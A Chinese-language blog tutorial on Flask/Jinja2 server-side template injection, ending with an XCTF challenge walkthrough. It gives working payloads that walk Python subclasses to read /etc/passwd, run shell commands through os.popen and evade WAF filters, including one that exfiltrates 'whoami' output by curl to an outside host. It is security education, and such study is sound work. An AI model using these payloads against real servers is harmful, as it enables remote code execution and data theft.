[python]浅谈Flask的SSTI漏洞

目录

基础知识

python类方法

内建函数

获取基类的几种方法

常见payload

利用思路

概念简介

服务器端模板注入(Server-Side Template Injection)

类型判断

简单探测

实战练习

reference


基础知识

python类方法

  • __class__

用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __class__ 是类的一个内置属性,表示类的类型;也是类的实例的属性,表示实例对象的类。

print(''.__class__)
print(type(""))

<class 'str'>

<class 'str'>

class test():
    pass
class test2():
    pass
t1=test()
t2=test2()
print(t1.__class__)
print(t2.__class__)

 <class '__main__.test'>
<class '__main__.test2'>

  • __bases__

用来查看类的基类,也可以使用数组索引来查看特定位置的值。通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)。注意是直接父类!

print([].__class__.__bases__)

 (<class 'object'>,)

class test():
    pass
class test2(test):
    pass
t1=test()
t2=test2()
t3=test2()
t4=test()
print(t2.__class__.__bases__)
print(test2.__bases__)
(<class '__main__.test'>,)
(<class '__main__.test'>,)
  • __mro__

__mro__方法可以用来获取一个类的调用顺序

print(''.__class__.__mro__)

(<class 'str'>, <class 'object'>)

class test():
    pass
class test2(test):
    pass
t1=test()
t2=test2()
print(t1.__class__.__mro__)
print(test2.__mro__)

 (<class '__main__.test'>, <class 'object'>)
(<class '__main__.test2'>, <class '__main__.test'>, <class 'object'>)

  • __subclasses__()

当前类的子类组成的列表,即返回基类object的子类

for i in enumerate([].__class__.__bases__[0].__subclasses__()):
    print(i)
class test():
    pass
class test2(test):
    pass
class test3(test):
    pass
t1=test()
t2=test2()
t3=test3()
print(t1.__class__.__subclasses__())
print(test2.__subclasses__())

 [<class '__main__.test2'>, <class '__main__.test3'>]
[]

内建函数

当我们启动一个 python 解释器时,即时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建函数并不需要我们自己做定义,而是在启动 python 解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。

  • __builtins__

内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)

print(dir(__builtins__))
  • __globals__

__globals__ 对包含函数全局变量的字典的引用

该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了 os、sys 等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用 globals 属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

获取基类的几种方法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0]       //其他的类似
for i in enumerate([].__class__.__base__.__subclasses__()):
    print(i)
  • 在py2环境

用file读取文件

>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
#!/usr/bin/env python
# encoding: utf-8

num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        num+=1

python2 a.py 
71 <class 'site._Printer'>
76 <class 'site.Quitter'>

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls /')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls /')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
#把 read() 改为 write() 就是写文件

读取目录

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')

 shell命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

常见payload


文件读取
# python3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}

# python2
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  


命令执行
# Python3
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

# Python2
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

绕过waf

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()
过滤{{或者}}
可以使用{%绕过
{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:端口/?i=`whoami`').read()=='p' %}1{% endif %}

利用思路

这样我们在进行 SSTI 注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类、更多的方法,找出可以利用的类和方法加以利用。

总之,是通过 python 的对象的继承来一步步实现文件读取和命令执行的:

找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。

概念简介

服务器端模板注入(Server-Side Template Injection)

模板注入 ——SSTI 存在于 MVC 模式当中的 View 层;M 为 Model 数据层,V 为 View 视图层;C 为 Controller 控制层。而 SSTI 就存在于 View 视图层当中。

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

类型判断

主要的框架

  • Python:jinja2、 mako、 tornado、 django
  • php:smarty、 twig
  • java:jade、 velocity

简单探测

通过注入模板表达式中常用的特殊字符来尝试模糊模板 ————这也被称作 fuzz 测试

实战练习

题目来源:XCTF.Web_python_template_injection

打开题目,尝试发现输入路由为index.html回显如下信息,看来路由位置的参数可控

这里大胆猜测源码

from  flask import  Flask
from flask import render_template_string
from flask import request

app  =  Flask(__name__)

@app.route("/")

def test():
    code1 = request.args.get('id')
    html='<h1>{{code}}</h1>'
    return render_template_string(html,code=code1)

app.run()

找到当前变量所在的类

{{''.__class__}}
<type 'str'>

追踪上面的所有父类

{{''.__class__.__mro__}}
(<type 'str'>, <type 'basestring'>, <type 'object'>)

找object可用引用

{{''.__class__.__mro__[2].__subclasses__()}}

找到我们想要的os所在的site._Printer

a='''<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'functools.partial'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'Struct'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <type 'time.struct_time'>, <class 'threading._Verbose'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'string.Template'>, <class 'string.Formatter'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <type '_hashlib.HASH'>, <class 'jinja2.nodes.Node'>, <type '_random.Random'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'email.LazyImporter'>, <class 'calendar.Calendar'>, <class 'werkzeug.urls.Href'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.middleware.dispatcher.DispatcherMiddleware'>, <class 'werkzeug.middleware.http_proxy.ProxyMiddleware'>, <class 'werkzeug.middleware.shared_data.SharedDataMiddleware'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.exceptions.Aborter'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <type 'select.epoll'>, <class 'subprocess.Popen'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'ast.NodeVisitor'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <type 'unicodedata.UCD'>, <type 'array.array'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.debug.ProcessedTraceback'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <type 'method-wrapper'>'''
a=a.split(',')
num=0
for i in a:
    if '<class \'site._Printer\'>' in i:
        print(num)
    num += 1

返回值为71

利用os模块执行命令

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat ./fl4g').read()}}

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

reference

https://www.mondayice.com/2021/06/15/flask-jinja2-ssti/

https://www.cnblogs.com/cioi/p/12308518.html#a1

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值